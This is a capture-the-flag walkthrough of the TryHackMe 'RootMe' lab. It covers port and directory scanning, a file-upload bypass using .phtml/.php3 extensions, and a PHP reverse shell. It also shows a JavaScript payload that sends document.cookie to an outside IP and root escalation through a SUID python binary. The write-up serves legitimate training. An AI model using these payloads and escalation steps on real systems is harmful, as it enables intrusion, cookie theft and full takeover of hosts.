THM - rrootme

First of all we will scan our target using nmap:

```
root@ip-10-10-177-81:~# nmap -sV -p1-65535 10.10.76.144

Starting Nmap 7.60 ( https://nmap.org ) at 2023-12-21 14:10 GMT
Nmap scan report for 10.10.76.144
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.06 seconds
```

By now we can answer the first three questions:

- Scan the machine, how many ports are open? -> 2
- What version of Apache is running? -> 2.4.29
- What service is running on port 22? -> ssh

Now let's use the gobuster tool. For our scan we can use the wordlists that are contained in linux (/usr/share/wordlists/...).
You can also do a scan by using the OWASP ZAP tool, which crawls the necessary directories with a webspider...:

```
root@ip-10-10-177-81:~# gobuster dir -u http://10.10.76.144 -w /usr/share/wordlists/
dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.76.144
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/12/21 14:23:10 Starting gobuster
===============================================================
/uploads (Status: 301)
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
===============================================================
2023/12/21 14:23:34 Finished
===============================================================
```

And another scan using the dirb big wordlist:

```
root@ip-10-10-86-233:~# gobuster dir -u http://10.10.93.4 -w /usr/share/wordlists/dirb/
big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.93.4
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/12/22 07:31:38 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/js (Status: 301)
/panel (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2023/12/22 07:31:40 Finished
===============================================================
```

So we can answer the next question:

What is the hidden directory?

-> /panel/

The next task is about getting a reverse shell by using an upload form. Let's first open the hidden directory. As we can see, the interface shows a possibility to upload files to the server. Let's first upload a simple textfile and see if it shows up under /uploads:

It has been uploaded and we get a link to our file. When clicking on it, the file content is shown under

/panel/uploaded-file

Now let's modify the content of our testfile to see if the server is vulnerable to xss:

Content of the uploaded file:

```
<script>alert('test')</script>
```

After that clicking on the link resulted in a notification area showing up.

The next part will be to generate a payload, start a listener, upload the file and click on it. The JSshell-project (see https://github.com/shelld3v/JSshell.git for more info) could help us in getting a shell session:

Content of the payload file:

```
<html>
<script>
```

```
setInterval(
    function(){
        with(document)body
        .appendChild(createElement("script"))
        .src="//54.155.22.100:4848/?"
        .concat(document.cookie)
        },1010)
</script>
</html>
```

Make sure that you have the right ip-address, otherwise you'll miss the incoming connection!
After invoking the uploaded html-page we got a shell and the pwd command works as expected, but the other commands unfortunately don't.

After a while playing around i checked https://pentestmonkey.net/tools/web-shells/php-reverse-shell and edited the php document to point
to the correct ip and port. After trying to upload the file, the server declined the upload, so maybe the file ending is blocked. According to
https://www.studyhost.net/support/knowledgebase/53/What-are-valid-file-extensions-I-can-use-for-PHP-scripts.html
we can also use .php3 or .phtml extension, so i tried them and it was successfully uploaded. Another method might be to intercept the traffic using BurpSuite and change the uploaded file ending back to .php, but i didn't test it so feel free to try it out^^

Once again i opened a listener and then ran the php script:

```
root@ip-10-10-86-233:~/JSshell# nc -lv 10.10.86.233 5566
Listening on [10.10.86.233] (family 0, port 5566)
Connection from ip-10-10-93-4.eu-west-1.compute.internal 32924 received!
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64
x86_64 GNU/Linux
 10:07:04 up  2:38,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: cant access tty; job control turned off
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
...
...


$ find / -name user.txt 2>/dev/null
/var/www/user.txt
$ cat /var/www/user.txt
****************
```

This gives us the answer to the next question :)

```
$ whoami
www-data
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/snap/core/8268/bin/mount
...
...
...
/snap/core/9665/usr/sbin/pppd
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
```

After checking the user and suid-permissions on the system files, we know that python has the suid bit set. Let's have a look at
https://gtfobins.github.io/gtfobins/python/ and try following:

```
cd /usr/bin
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
whoami
root
cd /home/rootme
ls
ls -la
total 32
drwxr-xr-x 4 rootme rootme 4096 Aug  4  2020 .
drwxr-xr-x 4 root   root   4096 Aug  4  2020 ..
-rw------- 1 rootme rootme  100 Aug  4  2020 .bash_history
-rw-r--r-- 1 rootme rootme  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 rootme rootme 3771 Apr  4  2018 .bashrc
drwx------ 2 rootme rootme 4096 Aug  4  2020 .cache
drwx------ 3 rootme rootme 4096 Aug  4  2020 .gnupg
-rw-r--r-- 1 rootme rootme  807 Apr  4  2018 .profile
-rw-r--r-- 1 rootme rootme    0 Aug  4  2020 .sudo_as_admin_successful
find / -name root.txt 2>/dev/null
/root/root.txt
cat /root/root.txt
************************
```